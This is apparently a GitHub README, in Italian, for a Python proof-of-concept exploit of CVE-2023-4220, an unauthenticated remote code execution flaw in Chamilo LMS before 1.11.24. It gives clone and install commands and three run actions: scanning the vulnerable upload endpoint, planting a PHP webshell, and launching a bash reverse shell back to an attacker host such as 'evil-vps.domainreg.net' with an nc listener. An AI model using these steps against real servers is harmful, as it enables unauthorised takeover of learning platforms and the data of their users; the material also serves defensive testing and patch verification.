charchit-subedi/chamilo-lms-unauthenticated-rce-pocQuesto è uno script scritto in Python che permette lo sfruttamento della vulnerabilità di sicurezza del software LMS Chamilo descritta in CVE-2023-4220
Questo è uno script scritto in Python che consente lo sfruttamento della falla di sicurezza del software Chamilo LMS descritta in CVE-2023-4220. Il sistema è vulnerabile nelle versioni precedenti alla 1.11.24.
Clona il repository sulla tua macchina e installa le dipendenze usando pip (si consiglia di usare virtualenv per creare un ambiente separato da altre installazioni globali)
git clone https://github.com/charchit-subedi/chamilo-lms-unauthenticated-rce-poc cd chamilo-lms-unauthenticated-rce-poc pip install -r requirements.txt
Lo script necessita dell'URL del target con il percorso radice di Chamilo (ad es. http://example.com/chamilo, http://example.com o http://chamilo.example.com) e di un'azione da eseguire (ne sono disponibili tre: scan, webshell e revshell).
Questa azione verifica se il target è vulnerabile tentando di accedere all'endpoint /main/inc/lib/javascript/bigupload/files/.
python3 main.py -u http://example.com/chamilo -a scan
Questa azione crea un file webshell PHP nell'endpoint vulnerabile.
python3 main.py -u http://example.com/chamilo -a webshell
Questa azione crea ed esegue un file reverse shell bash. Per farlo, verrà prima creata una webshell utilizzando lo stesso metodo dell'azione precedente. Successivamente, verranno eseguiti alcuni comandi per creare ed eseguire il file bash. Assicurati di essere in ascolto sulla porta che hai definito con nc o qualsiasi altro strumento per ricevere effettivamente la connessione inversa. Inoltre, l'host può essere un IPv4 interno/pubblico valido (ad es. 172.17.1.4 o 186.227.4.31) o il dominio che hai registrato (ad es. evil-vps.domainreg.net)
python3 main.py -u http://example.com/chamilo -a revshell
